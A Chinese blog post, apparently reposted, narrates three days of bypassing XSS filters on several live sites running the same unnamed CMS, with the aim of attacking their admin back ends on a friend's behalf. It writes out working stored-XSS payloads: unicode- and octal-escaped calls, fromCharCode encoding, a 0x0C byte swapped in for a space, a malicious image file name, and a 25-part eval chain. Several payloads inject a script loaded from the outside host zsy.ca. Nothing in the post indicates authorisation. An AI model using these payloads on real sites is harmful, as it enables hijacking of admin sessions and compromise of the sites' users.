標籤:
最近認識了個新朋友,天天找我搞XSS。搞了三天,感覺這一套程式還是很有意思的。因為是過去式的文章,所以沒有圖。但是希望把經驗分享出來,可以幫到和我一樣愛好XSS的朋友。我個人偏愛富文本XSS,因為很有趣。有趣的地方是你需要一點一點的測試都過濾了些什麼,怎麼過濾的。我想,這也是黑箱測試最讓人著迷的地方吧
首先,鎖定了提交問題的模組,因為這塊有編輯器。然後開始fuzz filter規則。一共有兩個輸入焦點:標題,內容
我一般喜歡從內容入手,因為這塊沒有長度限制。一開始先一個一個測試一些可以用來XSS攻擊的標籤。
01:
<script><a><p><img><body><button><var><div><iframe><meta><object><marquee><isindex ><input><select>><keygen><frameset><embed><svg><math><video><audio><textarea
經過一系列測試之後,發現存活的只有<img>和<a>標籤。這就比較尷尬了。這種情況下一般能用起來的,屬性也就幾個了onload,onerror,onmouseover,onclick和href
理清思路之後開始第二輪的測試,就是屬性測試:
01;
<img onerror onload onmouseover src=x>
01:
<a href onmouseover onclick >
測試後發現,這幾個好用的on事件都被過濾了。然而程式員為了防止插入<script>把scr給過濾了,所以href裡面也不可能再寫偽協議來執行XSS了。
搞到這的時候,心想搞個data URI(<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCg0MSk8L3NjcmlwdD4=>求助</a>)就算了。起碼FF下還會繼承當前域。不過基友不願意啊。想了想也是這是打後台,只能搞一些通殺的XSS,不然不白扯麼。然後回過頭來看了下標題。還是上面的測試流程。意外的發現標題出居然沒有對img標籤進行過濾,屬性種只有onload沒有被過濾。接著先試了下
01:
<img src=站內有效圖片地址 onload=document.write(123)>
被攔截了。又蛋疼的測試了一會兒後發現document被過濾了。好吧……轉成unicode,繼續繞:
<img src=站內有效圖片地址 onload=\u0064ocument.write(123)>
這下過了,不過把頁面給毀了。呵呵,人嘛 總有那麼幾天會犯傻逼。重新註冊個帳號。心想這次要一次搞定,所以還是避免單引號吧,就寫了個:
<img src=站內有效圖片地址 onload=\u0064ocument.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,47,47,122,115,121,46,99,97,47,51,51,62,60,47,115,99,114,105,112,116,62))>
很好,又被攔截了。測試了很長時間終於沒有耐心了(這個標題有字數限制,如果不找到過濾的字元,而是整篇都轉了,長度會不夠)。發現Char被過濾了(一看就是把防注入和防XSS寫一塊兒了。屌絲何必難為屌絲……),不像再走這條路了。換個姿勢:
<img src=有效圖片 onload="\u0064ocument.write(‘<sc‘+‘ript src=//zsy.ca/33></sc‘+‘ript>‘)">
終於寫好了一個沒有document,沒有char,沒有scr的payload,再多兩個字就插不進去了。寫好了通用的payload後,發給了基友,過一天。他又M我說,有一個一樣的站,不過搞不定。
不知道為什麼一套程式會有這麼多變異版本。這次的情況更有趣了。內容插入的標籤都被HTMLEncode了。標題處已經不能再插img標籤了。心想估計是升級版吧。結果他說沒事兒,我知道這個不能搞,搞不定就算了。換誰誰都怒了。繼續用前面的方式,fuzz標題處允許的標籤,fuzz出來4個:
<img> <div> <style> <a>
開始做屬性測試,還是上面那一套方法,發現<p onmouseover>沒有問題,那上面的payload改了一改。
<p onmouseover="\u0064ocument.write(‘<sc‘+‘ript src=//zsy.ca/33></sc‘+‘ript>‘)">
發給他就睡覺了。結果第三天,他又搞了一個站說前面兩個方法都不行。真是奇怪了。這奇葩程式到底是誰在維護,f4ck it.這次更有趣了。標題和內容都被HTMLencode了,而且編輯器直接被去掉了。不過這次多了個功能。叫上傳圖片。其實搞到這兒的時候,已經很累了。不過放棄不是我性格,只能接著搞了。這是我最喜歡linux的一點,因為檔案名稱的命名規則沒有win那麼矯情。搞了個圖片,名稱改成:
<img src=x onerror=confirm()>.png
由於是新功能。程式員沒有對檔案名稱進行htmlencode直接輸出在了頁面,小框框再一次彈起。舒服多了…… 不過又有新的問題了。由於是檔案上傳,所以我們的payload中不能出現,"/" 我覺得應該是會被認成filepath然後就被截斷了。再換個姿勢:
<svg onload=\u0064cument.write(String.from\u0043harCode(60,115,99,114,105,112,116,32,115,114,99,61,47,47,122,115,121,46,99,97,47,51,51,62,60,47,115,99,114,105,112,116,62))
沒有scr,沒有Char,沒有document,沒有“/”的姿勢就算寫好了。
到這兒還沒完。還有1個呢。後面他又給我發了個變異版本。說能插進去卻執行不了。拿過來網站後看了下。好傢夥,這次更好玩了。之前的三個站,標題的長度限制都是100(不是用戶端驗證,是在定義資料庫欄位的時候,做了限制)。這次的長度只有35,payload後面的部分都被吃掉了。目測資料庫那塊兒沒變,但是在PHP端,做了限制。還多了個安全寶(要不要這樣?)別的還好拆。這onmouseover拆成10個20個的,讓人一個一個划過去,這心裡邊沒底啊。只能找別的payload了。這次也累了,就隨便試了一下:
<img onAbort onActivate onAfterPrint onAfterUpdate onBeforeActivate onBeforeCopy onBeforeCut onBeforeDeactivate onBeforeEditFocus onBeforePaste onBeforePrint onBeforeUnload onBeforeUpdate onBegin onBlur onBounce onCellChange onChange onClick onContextMenu onControlSelect onCopy onCut onDataAvailable onDataSetChanged onDataSetComplete onDblClick onDeactivate onDrag onDragEnd onDragLeave onDragEnter onDragOver onDragDrop onDragStart onDrop onEnd onError onErrorUpdate onFilterChange onFinish onFocus onFocusIn onFocusOut onHashChange onHelp onInput onKeyDown onKeyPress onKeyUp onLayoutComplete onLoad onLoseCapture onMediaComplete onMediaError onMessage onMouseDown onMouseEnter onMouseLeave onMouseMove onMouseOut onMouseOver onMouseUp onMouseWheel onMove onMoveEnd onMoveStart onOffline onOnline onOutOfSync onPaste onPause onPopState onProgress onPropertyChange onReadyStateChange onRedo onRepeat onReset onResize onResizeEnd onResizeStart onResume onReverse onRowsEnter onRowExit onRowDelete onRowInserted onScroll onSeek onSelect onSelectionChange02.onSelectStart onStart onStop onStorage onSyncRestored onSubmit onTimeError onTrackChange onUndo onUnload onURLFli formaction action href xlink:href autofocus src content data from values to style>
發完貼之後變成了:
<img onAbort="">
一時沒搞明白是什麼情況,隨後試了一下:
<img src=x onerror=confirm()>
變成了:
01.<img src=x>
原來是在發現一個以上的空格時,會從第二個空格開始把後面內容都過慮了。這就好弄了。換空格的法兒就多了,祭出Hexeditor,把第二個空格換成0x0C:
儲存後,複製payload:
<img src=x[0x0C] onerror=confirm()>
我的乖乖終於彈起來了。綜合考慮,前面的那些被過濾的字元(document,scr,char,"/"),打算還是轉成8進位算了。反正拆完的內容最後還要eval一下。就有了:
01.<img onerror=a=‘\144\157‘ src=x>02.<img onerror=a+=‘\143\165‘ src=x>03.<img onerror=a+=‘\155\145‘ src=x>04.<img onerror=a+=‘\156\164‘ src=x>05.<img onerror=a+=‘\56\167‘ src=x>06.<img onerror=a+=‘\162\151‘ src=x>07.<img onerror=a+=‘\164\145‘ src=x>08.<img onerror=a+=‘\50\47‘ src=x>09.<img onerror=a+=‘\74\163‘ src=x>10.<img onerror=a+=‘\143\162‘ src=x>11.<img onerror=a+=‘\151\160‘ src=x>12.<img onerror=a+=‘\164\40‘ src=x>13.<img onerror=a+=‘\163\162‘ src=x>14.<img onerror=a+=‘\143\75‘ src=x>15.<img onerror=a+=‘\57\57‘ src=x>16.<img onerror=a+=‘\172\163‘ src=x>17.<img onerror=a+=‘\171\56‘ src=x>18.<img onerror=a+=‘\143\141‘ src=x>19.<img onerror=a+=‘\57\63\6‘ src=x>20.<img onerror=a+=‘3\76\74‘ src=x>21.<img onerror=a+=‘\57\163\1‘ src=x>22.<img onerror=a+=‘43\162\15‘ src=x>23.<img onerror=a+=‘1\160\164‘ src=x>24.<img onerror=a+=‘\76\47\51‘ src=x>25.<img onerror=eval(a) src=x>
插入的時候,倒序插入(因為文章會按照時間順序來呈現)。最後就算搞定了。感覺是次很有趣的經曆。雖然有點長但耐心讀完應該還是有協助的。雖然不是什麼碉堡的程式,但是國內有很多家***都在用這套。所以不方便透漏是哪一套。如果你知道是哪一套,也希望你不要說出來.
(轉) exp1:// 一次有趣的XSS漏洞挖掘分析(1)